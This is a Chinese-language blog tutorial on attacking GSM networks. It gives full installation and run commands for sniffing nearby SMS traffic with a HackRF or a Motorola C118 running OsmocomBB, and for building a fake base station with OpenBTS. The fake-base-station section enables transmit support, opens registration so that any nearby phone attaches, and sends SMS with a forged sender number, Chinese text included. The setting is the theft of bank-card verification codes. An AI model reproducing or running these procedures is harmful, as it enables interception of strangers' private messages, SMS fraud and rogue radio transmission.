本文短信嗅探和伪基站环境的搭建方法、使用方法。
最近关于利用短信嗅探盗刷银行卡的新闻闹得沸沸扬扬,因此我也蹭一个热点,学习一下短信嗅探的相关技术,同时探究一下伪基站是如何搭建的。本文主要介绍三个内容:利用hackRF嗅探GSM网络流量、利用C118嗅探GSM网络流量、利用C118搭建伪基站。
利用hackRF嗅探GSM网络流量
硬件需求
- hackRF
软件需求
- linux系统 (实验环境为kali)
- gnuradio-companion
- gqrx
- wireshark
- gr-gsm
- kalibrate-hackrf
安装过程
- 安装harkRF所需的工具和库文件。
执行sudo apt-get install hackrf libhackrf-dev libhackrf0
,利用hackrf_info
命令验证是否安装成功。 - 安装软件gnuradio,利用它可以解码射频信号,并安装工具gqrx,利用该工具可以将特定频率信号的功率可视化,以及一切需要的东西。
执行sudo apt-get install gnuradio gnuradio-dev gr-osmosdr gr-osmosdr gqrx-sdr wireshark
, 安装gr-gsm,以解码GSM数据包
1
2
3
4
5
6
7
8
9sudo apt-get install git cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy
git clone https://github.com/ptrkrysik/gr-gsm.git
cd gr-gsm
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig创建文件~/.gnuradio/config.conf,并将下面的内容粘贴在该文件中:
1
2[grc]å
local_blocks_path=/usr/local/share/gnuradio/grc/blocks安装kalibrate-harkrf,它能够在已知的GSM频率之间跳动,并能够识别到你的国家所使用的频率:
1
2
3
4
5
6git clone https://github.com/scateu/kalibrate-hackrf.git
cd kalibrate-hackrf
./bootstrap
./configure
make
sudo make install
实验过程
确定GSM频率
1
2cd kalibrate-hackrf/src
./kal -s GSM900 -g 40 -l 40启动嗅探
1
2cd gr-gsm/apps/
gnuradio-companion grgsm-livemon_user.grc在弹出的对话框中,点击运行,然后开始调节扫描频率(步进为200kHz),直到控制台窗口上持续打印数据为止,此时说明已经捕获该频率。
启动wireshark
1
sudo wireshark -k -Y 'gsm_sms' -i lo
此时可以在wireshark中看到解码后的gsm_sms信息。
利用c118+OsmocomBB进行短信嗅探
硬件要求
- MOTOROLA c118手机 (手机+电池+充电器)
- CP2302模块
- C118数据线
软件要求
- Linux系统(实验采用ubantu 16.10)
- OsmocomBB 等
- Wireshark
硬件组装
硬件组装流程
电脑 <-- cp2303模块 --> c118数据线 –> C118-->
硬件改装(自选)
按教程看,如果需要C118嗅探上行短信,需要更换滤波器。而实际实验表明,在未更换的情况下仍然可以嗅探上行短信。
拆屏蔽盖教程
修改滤波器教程
软件安装
环境安装可能会遇到各类错误,只需要根据错误去谷歌即可。。或者直接使用我已经配置好的环境
安装依赖(建议一个一个包安装)
1
2
3
4sudo apt-get update
sudo apt-get upgrade
sudo apt-get install libusb-0.1-4 libpcsclite1 libccid pcscd
sudo apt-get install libtool shtool autoconf git-core pkg-config make gcc build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev libpcsclite-dev安装OsmocomBB
1
2
3
4
5
6
7
8
9
10
11mkdir osmocombb
cd osmocombb
mkdir build install src
wget http://bb.osmocom.org/trac/raw-attachment/wiki/GnuArmToolchain/gnu-arm-build.3.sh
cd src
wget http://ftp.gnu.org/gnu/gcc/gcc-4.8.2/gcc-4.8.2.tar.bz2
wget http://ftp.gnu.org/gnu/binutils/binutils-2.21.1a.tar.bz2
wget ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz
cd ..
chmod +x gnu-arm-build.3.sh
./gnu-arm-build.3.sh等待安装完成,此处会报错,请直接谷歌直接使用我
已经配置好的环境
,之后配置环境变量。1
2
3
4
5
6cd install/bin
pwd
vi ~/./.bashrc
(最后一行加入,保存退出)export PATH=$PATH:/osmocombb/install/binå
source ~/.bashrc
cd ../..(回到osmocombb目录下)配置完成后,下载并编译osmcomBB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26git clone git://git.osmocom.org/libosmocore.git
git clone git://git.osmocom.org/osmocom-bb.git
mv osmocom-bb osmocom-bb-findSMS
## 以下步骤为安装talloc
wget https://www.samba.org/ftp/talloc/talloc-2.1.7.tar.gz
tar -zxvf talloc-2.1.7.tar.gz
cd talloc-2.1.7/
./configure
make
sudo make install
cd ..
## 安装libosmocore
cd libosmocore/
autoreconf -i
./configure
make
sudo make install
cd ..
## 编译OsmocomBB
cd osmocom-bb-findSMS
git checkout --track origin/luca/gsmmap
cd src
make接着修改问题文件。进入osmocom-bb找到这些文件,在
KEEP(*(SORT(.ctors)))
下面加上KEEP(*(SORT(.init_array)))
1
2
3
4
5vi osmocom-bb-findSMS/src/target/firmware/board/compal/highram.lds
vi osmocom-bb-findSMS/src/target/firmware/board/compal/ram.lds
vi osmocom-bb-findSMS/src/target/firmware/board/compal_e88/flash.lds
vi osmocom-bb-findSMS/src/target/firmware/board/compal_e88/loader.lds
vi osmocom-bb-findSMS/src/target/firmware/board/mediatek/ram.lds全部修改好,在进入osmocom-bb/src重新编译一下。
1
make -e CROSS_TOOL_PREFIX=arm-none-eabi-
安装wireshark
1
sudo apt-get install wireshark
实验过程
烧录固件
按硬件组装要求连接好硬件后,新建terminal,执行以下命令。1
2
3cd osmocom-bb-findSMS (进入osmocom-bb目录)
cd src/host/osmocon
sudo ./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin然后按下c118开机键,即可开始烧录程序。如果刷入失败,请检查连接线是否插紧。
扫描基站信息(可选)
如果不了解附近环境的基站信息,则新建terminal,执行以下命令。1
2
3cd osmocom-bb-findSMS (进入osmocom-bb目录)
cd src/host/layer23/src/misc
sudo ./cell_log -O监听指定信道
根据扫描结果,执行sudo ./ccch_scan -i 127.0.0.1 -a (ARFCN值)
。开始监听。打开终端
1
sudo wireshark -k -i lo -f 'port 4729' -Y 'gsm_sms'
(彩蛋)
为了便于使用,将实验过程写成了bash脚本。只需输入参数即可开启实验。具体步骤如下:1
2
3
4
5
6
7
8
9
10cd ~/Desktop/apps
sudo ./sms_start.sh
@@@@@@
[以下根据提示输入(使用2台设备进行嗅探):]
1. 选择第一台cp2302模块所在的ttyUSB端口。例如输入【0】
2. 按下【c118开机键】,开始烧录程序
3. 等待烧录完成后,输入所需监听的信道,如输入【80】,然后进入下一步。
4. 选择第二台cp2302模块所在的ttyUSB端口。例如输入【1】
5. 按下【c118开机键】,开始烧录程序
6. 等待烧录完成后,输入所需监听的信道,如输入【18】。
利用C118搭建伪基站
硬件要求
- MOTOROLA c118手机 (手机+电池+充电器)
- CP2302模块
- C118数据线
软件要求
- Linux系统(实验采用ubantu 16.10)
- OsmocomBB 等
- OpenBTS
硬件组装
电脑 <-- cp2303模块 --> c118数据线 –> C118-->
软件安装
由于搭建伪基站时同样需要使用osmocombb,因此应当先跑一边利用c118+OsmocomBB进行短信嗅探时的环境安装。环境安装可能会遇到各类错误,只需要根据错误去谷歌即可。。或者直接使用我已经配置好的环境
。
安装libosmo-dsp库
1
2
3
4
5
6
7
8apt-get install libfftw3-3 libfftw3-dev libfftw3-doc
git clone git://git.osmocom.org/libosmo-dsp.git
cd libosmo-dsp
autoreconf -i
./configure
make
make install
cd ..安装osmocom-bb
1
2
3
4git clone git://git.osmocom.org/osmocom-bb.git
mv osmocom-bb osmocom-bb v
cd osmocom-bb-JZ
git checkout sylvain/testing由于默认编译出的版本发送信号相关的功能是被注释掉的,用 mobile 启动 layer23 后会一直于搜信号的过程中,因为无法发送信号。如果需要进行实网测试需要打开
src/target/firmware/Makefile
文件中的编译开关。即:1
2
3
4
5sudo nano osmocom-bb-JZ/src/target/firmware/Makefile
@@@找到以下内容:
# Uncomment this line if you want to enable Tx (Transmit) Support.
#CFLAGS += -DCONFIG_TX_ENABLE
然后把 DCONFIG_TX_ENABLE 宏注释去掉然后切换到src目录下,执行
make HOST_layer23_CONFARGS=--enable-transceiver
安装openBTS-p2.8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23mkdir o-bts
@@@ 安装依赖
sudo apt-get install autoconf libtool libosip2-dev libortp-dev libusb-1.0-0-dev g++ sqlite3 libsqlite3-dev erlang libreadline6-dev libncurses5-dev
@@@ 下载源码 (注意:svn版本必须 <= 1.7)
svn co http://wush.net/svn/range/software/public
@@@ 安装openbts
cd a53/trunk
make install
cd ../../openbts/trunk
autoreconf -i
./configure
make
mkdir /etc/OpenBTS
sqlite3 -init ./apps/OpenBTS.example.sql /etc/OpenBTS/OpenBTS.db ".quit"
mkdir -p /var/lib/asterisk/sqlite3dir
cd ../../subscriberRegistry/trunk
make
sqlite3 -init subscriberRegistry.example.sql /etc/OpenBTS/sipauthserve.db ".quit"
cd ../../smqueue/trunk
autoreconf -i
./configure
make
sqlite3 -init smqueue/smqueue.example.sql /etc/OpenBTS/smqueue.db ".quit"此外,需要在
o-bts/openbts/trunk/TransceiverRAD1
下新建文件transceiver
,文件内容如下。其中623为附近的基站信道,如果不清楚可通过利用c118+OsmocomBB进行短信嗅探进行检测。然后执行chmod +x transceiver
命令赋予执行权限。1
2#!/bin/bash
exec /home/jerry/Desktop/osmocombb/osmocom-bb-JZ/src/host/layer23/src/transceiver/transceiver 623
- 安装数据库
1
apt-get install sqlite3 sqliteman
实验过程
配置基站数据库
执行sudo sqliteman
,打开/ etc/OpenBTS /
目录下的OpenBTS.db
文件1
2
3
4
5
6
7
8Control.GSMTAP.TargetIP = 127.0.0.1
GSM.Radio.NeedBSIC = 1
GSM.Radio.Band = 900
GSM.CellSelection.Neighbors =(留空)
GSM.RACH.MaxRetrans = 3
GSM.RACH.TxInteger = 8
GSM.Radio.C0 = (发射的频点,数值1-124之间)
Control.LUR.OpenRegistration =.*烧录固件
按硬件组装要求连接好硬件后,新建terminal,执行以下命令。1
2
3cd osmocom-bb-JZ (进入osmocom-bb目录)
cd src/host/osmocon
sudo ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/trx.compalram.bin然后按下c118开机键,即可开始烧录程序。如果刷入失败,请检查连接线是否插紧。
启动openbts
1
2
3新建terminal
cd openbts/trunk/apps
./OpenBTS启动注册服务
1
2
3新建terminal
cd subscriberRegistry/trunk
./sipauthserve开启短信功能
1
2
3新建terminal
cd smqueue/trunk/smqueue/
./smqueue打开OpenBTS控制台
1
2cd openbts/trunk/apps
./OpenBTSCLI(彩蛋)
为了便于使用,将实验过程写成了bash脚本。只需输入参数即可开启实验。具体步骤如下:1
2
3
4
5
6
7cd ~/Desktop/apps
sudo ./jz_start.sh
@@@@@@
[以下根据提示输入:]
1. 选择cp2302模块所在的ttyUSB端口。例如输入【0】
2. 按下【c118开机键】,开始烧录程序
3. 等待烧录完成后,输入【y】,开启服务。
实验效果
连接伪基站
手机可以搜索到伪基站的信号,并可以进行连接,连接成功后会收到一条欢迎短信,信息内容可在数据库内进行编辑。查看连接的tmsi号
在OpenBTS控制台内,输入tmsis,即可查看发送英文短信
在OpenBTS控制台内,输入命令:【sendsms TMSI码 发件人号码 信息】,即可完成发送发送中文短信
openbts源码不支持发送中文短信,因此该部分需要实现,需要编辑源码,然后重新编译。此外,需要写pdu编码脚本,用于编码。(我已经配置好的环境
中已经集成)
第一步,打开pdu编码脚本,根据提示将需要发送的中文短信进行编码。
第二步,在OpenBTS控制台内,输入命令:【sendsms TMSI码 1 pdu编码】,即可完成发送。
备注
iphone查看基站信息:*3001#12345#*